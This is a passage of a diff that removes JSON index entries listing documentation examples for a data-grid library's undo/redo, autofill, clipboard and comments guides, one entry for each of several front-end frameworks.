cells" - ], - "guide": "guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md", - "guideTitle": "How to use icons in cells", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/use-icons-in-cells", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/accessories-and-menus/undo-redo/angular/example1.ts", - "file": "guides__accessories-and-menus__undo-redo__angular__example1.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Undo and redo" - ], - "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", - "guideTitle": "Undo and redo", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/undo-redo", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/accessories-and-menus/undo-redo/javascript/example.js", - "file": "guides__accessories-and-menus__undo-redo__javascript__example.js.json", - "breadcrumb": [ - "Accessories And Menus", - "Undo and redo" - ], - "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", - "guideTitle": "Undo and redo", - "exampleId": "example", - "exampleTitle": "Basic demo", - "docPermalink": "/undo-redo", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/accessories-and-menus/undo-redo/react/example.tsx", - "file": "guides__accessories-and-menus__undo-redo__react__example.tsx.json", - "breadcrumb": [ - "Accessories And Menus", - "Undo and redo" - ], - "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", - "guideTitle": "Undo and redo", - "exampleId": "example", - "exampleTitle": "Basic demo", - "docPermalink": "/undo-redo", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/accessories-and-menus/undo-redo/javascript/example.ts", - "file": "guides__accessories-and-menus__undo-redo__javascript__example.ts.json", - "breadcrumb": [ - "Accessories And Menus", - "Undo and redo" - ], - "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", - "guideTitle": "Undo and redo", - "exampleId": "example", - "exampleTitle": "Basic demo", - "docPermalink": "/undo-redo", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/accessories-and-menus/undo-redo/vue/example.vue", - "file": "guides__accessories-and-menus__undo-redo__vue__example.vue.json", - "breadcrumb": [ - "Accessories And Menus", - "Undo and redo" - ], - "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", - "guideTitle": "Undo and redo", - "exampleId": "example", - "exampleTitle": "Basic demo", - "docPermalink": "/undo-redo", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/autofill-values/angular/example1.ts", - "file": "guides__cell-features__autofill-values__angular__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autofill-values", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/autofill-values/javascript/example1.js", - "file": "guides__cell-features__autofill-values__javascript__example1.js.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autofill-values", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/autofill-values/react/example1.tsx", - "file": "guides__cell-features__autofill-values__react__example1.tsx.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autofill-values", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/autofill-values/javascript/example1.ts", - "file": "guides__cell-features__autofill-values__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autofill-values", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/autofill-values/vue/example1.vue", - "file": "guides__cell-features__autofill-values__vue__example1.vue.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/autofill-values", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/autofill-values/angular/example2.ts", - "file": "guides__cell-features__autofill-values__angular__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example2", - "exampleTitle": "Autofill in a vertical direction only and creating new rows", - "docPermalink": "/autofill-values", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/autofill-values/javascript/example2.js", - "file": "guides__cell-features__autofill-values__javascript__example2.js.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example2", - "exampleTitle": "Autofill in a vertical direction only and creating new rows", - "docPermalink": "/autofill-values", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/autofill-values/react/example2.tsx", - "file": "guides__cell-features__autofill-values__react__example2.tsx.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example2", - "exampleTitle": "Autofill in a vertical direction only and creating new rows", - "docPermalink": "/autofill-values", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/autofill-values/javascript/example2.ts", - "file": "guides__cell-features__autofill-values__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example2", - "exampleTitle": "Autofill in a vertical direction only and creating new rows", - "docPermalink": "/autofill-values", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/autofill-values/vue/example2.vue", - "file": "guides__cell-features__autofill-values__vue__example2.vue.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example2", - "exampleTitle": "Autofill in a vertical direction only and creating new rows", - "docPermalink": "/autofill-values", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/autofill-values/angular/example3.ts", - "file": "guides__cell-features__autofill-values__angular__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example3", - "exampleTitle": "Altering and tracking autofilled values", - "docPermalink": "/autofill-values", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/autofill-values/javascript/example3.js", - "file": "guides__cell-features__autofill-values__javascript__example3.js.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example3", - "exampleTitle": "Altering and tracking autofilled values", - "docPermalink": "/autofill-values", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/autofill-values/react/example3.tsx", - "file": "guides__cell-features__autofill-values__react__example3.tsx.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example3", - "exampleTitle": "Altering and tracking autofilled values", - "docPermalink": "/autofill-values", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/autofill-values/javascript/example3.ts", - "file": "guides__cell-features__autofill-values__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example3", - "exampleTitle": "Altering and tracking autofilled values", - "docPermalink": "/autofill-values", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/autofill-values/vue/example3.vue", - "file": "guides__cell-features__autofill-values__vue__example3.vue.json", - "breadcrumb": [ - "Cell Features", - "Autofill values" - ], - "guide": "guides/cell-features/autofill-values/autofill-values.md", - "guideTitle": "Autofill values", - "exampleId": "example3", - "exampleTitle": "Altering and tracking autofilled values", - "docPermalink": "/autofill-values", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/clipboard/angular/example1.ts", - "file": "guides__cell-features__clipboard__angular__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/basic-clipboard", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example1.js", - "file": "guides__cell-features__clipboard__javascript__example1.js.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/basic-clipboard", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/clipboard/react/example1.tsx", - "file": "guides__cell-features__clipboard__react__example1.tsx.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/basic-clipboard", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example1.ts", - "file": "guides__cell-features__clipboard__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/basic-clipboard", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/clipboard/vue/example1.vue", - "file": "guides__cell-features__clipboard__vue__example1.vue.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/basic-clipboard", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/clipboard/angular/example2.ts", - "file": "guides__cell-features__clipboard__angular__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example2", - "exampleTitle": "Copy with headers", - "docPermalink": "/basic-clipboard", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example2.js", - "file": "guides__cell-features__clipboard__javascript__example2.js.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example2", - "exampleTitle": "Copy with headers", - "docPermalink": "/basic-clipboard", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/clipboard/react/example2.tsx", - "file": "guides__cell-features__clipboard__react__example2.tsx.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example2", - "exampleTitle": "Copy with headers", - "docPermalink": "/basic-clipboard", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example2.ts", - "file": "guides__cell-features__clipboard__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example2", - "exampleTitle": "Copy with headers", - "docPermalink": "/basic-clipboard", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/clipboard/vue/example2.vue", - "file": "guides__cell-features__clipboard__vue__example2.vue.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example2", - "exampleTitle": "Copy with headers", - "docPermalink": "/basic-clipboard", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/clipboard/angular/example3.ts", - "file": "guides__cell-features__clipboard__angular__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example3", - "exampleTitle": "Trigger copy & cut programmatically", - "docPermalink": "/basic-clipboard", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example3.js", - "file": "guides__cell-features__clipboard__javascript__example3.js.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example3", - "exampleTitle": "Trigger copy & cut programmatically", - "docPermalink": "/basic-clipboard", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/clipboard/react/example3.tsx", - "file": "guides__cell-features__clipboard__react__example3.tsx.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example3", - "exampleTitle": "Trigger copy & cut programmatically", - "docPermalink": "/basic-clipboard", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example3.ts", - "file": "guides__cell-features__clipboard__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example3", - "exampleTitle": "Trigger copy & cut programmatically", - "docPermalink": "/basic-clipboard", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/clipboard/vue/example3.vue", - "file": "guides__cell-features__clipboard__vue__example3.vue.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example3", - "exampleTitle": "Trigger copy & cut programmatically", - "docPermalink": "/basic-clipboard", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/clipboard/angular/example4.ts", - "file": "guides__cell-features__clipboard__angular__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example4", - "exampleTitle": "Copy cell appearance on paste", - "docPermalink": "/basic-clipboard", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example4.js", - "file": "guides__cell-features__clipboard__javascript__example4.js.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example4", - "exampleTitle": "Copy cell appearance on paste", - "docPermalink": "/basic-clipboard", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/clipboard/react/example4.tsx", - "file": "guides__cell-features__clipboard__react__example4.tsx.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example4", - "exampleTitle": "Copy cell appearance on paste", - "docPermalink": "/basic-clipboard", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example4.ts", - "file": "guides__cell-features__clipboard__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example4", - "exampleTitle": "Copy cell appearance on paste", - "docPermalink": "/basic-clipboard", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/clipboard/vue/example4.vue", - "file": "guides__cell-features__clipboard__vue__example4.vue.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example4", - "exampleTitle": "Copy cell appearance on paste", - "docPermalink": "/basic-clipboard", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/clipboard/angular/example5.ts", - "file": "guides__cell-features__clipboard__angular__example5.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example5", - "exampleTitle": "Copy comments on paste", - "docPermalink": "/basic-clipboard", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example5.js", - "file": "guides__cell-features__clipboard__javascript__example5.js.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example5", - "exampleTitle": "Copy comments on paste", - "docPermalink": "/basic-clipboard", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/clipboard/react/example5.tsx", - "file": "guides__cell-features__clipboard__react__example5.tsx.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example5", - "exampleTitle": "Copy comments on paste", - "docPermalink": "/basic-clipboard", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/clipboard/javascript/example5.ts", - "file": "guides__cell-features__clipboard__javascript__example5.ts.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example5", - "exampleTitle": "Copy comments on paste", - "docPermalink": "/basic-clipboard", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/clipboard/vue/example5.vue", - "file": "guides__cell-features__clipboard__vue__example5.vue.json", - "breadcrumb": [ - "Cell Features", - "Clipboard" - ], - "guide": "guides/cell-features/clipboard/clipboard.md", - "guideTitle": "Clipboard", - "exampleId": "example5", - "exampleTitle": "Copy comments on paste", - "docPermalink": "/basic-clipboard", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/comments/angular/example1.ts", - "file": "guides__cell-features__comments__angular__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/comments", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example1.js", - "file": "guides__cell-features__comments__javascript__example1.js.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/comments", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/comments/react/example1.tsx", - "file": "guides__cell-features__comments__react__example1.tsx.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/comments", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example1.ts", - "file": "guides__cell-features__comments__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/comments", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/comments/vue/example1.vue", - "file": "guides__cell-features__comments__vue__example1.vue.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/comments", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/comments/angular/example2.ts", - "file": "guides__cell-features__comments__angular__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example2", - "exampleTitle": "Make a comment read-only", - "docPermalink": "/comments", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example2.js", - "file": "guides__cell-features__comments__javascript__example2.js.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example2", - "exampleTitle": "Make a comment read-only", - "docPermalink": "/comments", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/comments/react/example2.tsx", - "file": "guides__cell-features__comments__react__example2.tsx.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example2", - "exampleTitle": "Make a comment read-only", - "docPermalink": "/comments", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example2.ts", - "file": "guides__cell-features__comments__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example2", - "exampleTitle": "Make a comment read-only", - "docPermalink": "/comments", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/comments/vue/example2.vue", - "file": "guides__cell-features__comments__vue__example2.vue.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example2", - "exampleTitle": "Make a comment read-only", - "docPermalink": "/comments", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/comments/angular/example3.ts", - "file": "guides__cell-features__comments__angular__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example3", - "exampleTitle": "Set a comment box's size", - "docPermalink": "/comments", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example3.js", - "file": "guides__cell-features__comments__javascript__example3.js.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example3", - "exampleTitle": "Set a comment box's size", - "docPermalink": "/comments", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/comments/react/example3.tsx", - "file": "guides__cell-features__comments__react__example3.tsx.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example3", - "exampleTitle": "Set a comment box's size", - "docPermalink": "/comments", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example3.ts", - "file": "guides__cell-features__comments__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example3", - "exampleTitle": "Set a comment box's size", - "docPermalink": "/comments", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/comments/vue/example3.vue", - "file": "guides__cell-features__comments__vue__example3.vue.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example3", - "exampleTitle": "Set a comment box's size", - "docPermalink": "/comments", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/comments/angular/example4.ts", - "file": "guides__cell-features__comments__angular__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example4", - "exampleTitle": "Set a delay for displaying comments", - "docPermalink": "/comments", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example4.js", - "file": "guides__cell-features__comments__javascript__example4.js.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example4", - "exampleTitle": "Set a delay for displaying comments", - "docPermalink": "/comments", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/comments/react/example4.tsx", - "file": "guides__cell-features__comments__react__example4.tsx.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example4", - "exampleTitle": "Set a delay for displaying comments", - "docPermalink": "/comments", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example4.ts", - "file": "guides__cell-features__comments__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example4", - "exampleTitle": "Set a delay for displaying comments", - "docPermalink": "/comments", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/comments/vue/example4.vue", - "file": "guides__cell-features__comments__vue__example4.vue.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example4", - "exampleTitle": "Set a delay for displaying comments", - "docPermalink": "/comments", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/comments/angular/example5.ts", - "file": "guides__cell-features__comments__angular__example5.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example5", - "exampleTitle": "Flag invalid cells with a comment", - "docPermalink": "/comments", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example5.js", - "file": "guides__cell-features__comments__javascript__example5.js.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example5", - "exampleTitle": "Flag invalid cells with a comment", - "docPermalink": "/comments", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/comments/react/example5.tsx", - "file": "guides__cell-features__comments__react__example5.tsx.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example5", - "exampleTitle": "Flag invalid cells with a comment", - "docPermalink": "/comments", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example5.ts", - "file": "guides__cell-features__comments__javascript__example5.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example5", - "exampleTitle": "Flag invalid cells with a comment", - "docPermalink": "/comments", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-features/comments/vue/example5.vue", - "file": "guides__cell-features__comments__vue__example5.vue.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example5", - "exampleTitle": "Flag invalid cells with a comment", - "docPermalink": "/comments", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-features/comments/angular/example6.ts", - "file": "guides__cell-features__comments__angular__example6.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example6", - "exampleTitle": "Read all comments programmatically", - "docPermalink": "/comments", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example6.js", - "file": "guides__cell-features__comments__javascript__example6.js.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example6", - "exampleTitle": "Read all comments programmatically", - "docPermalink": "/comments", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-features/comments/react/example6.tsx", - "file": "guides__cell-features__comments__react__example6.tsx.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example6", - "exampleTitle": "Read all comments programmatically", - "docPermalink": "/comments", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-features/comments/javascript/example6.ts", - "file": "guides__cell-features__comments__javascript__example6.ts.json", - "breadcrumb": [ - "Cell Features", - "Comments" - ], - "guide": "guides/cell-features/comments/comments.md", - "guideTitle": "Comments", - "exampleId": "example6", - "exampleTitle": "Read all comments programmatically", - "docPermalink": "/comments", - "framework": "typescript", - "displayName": 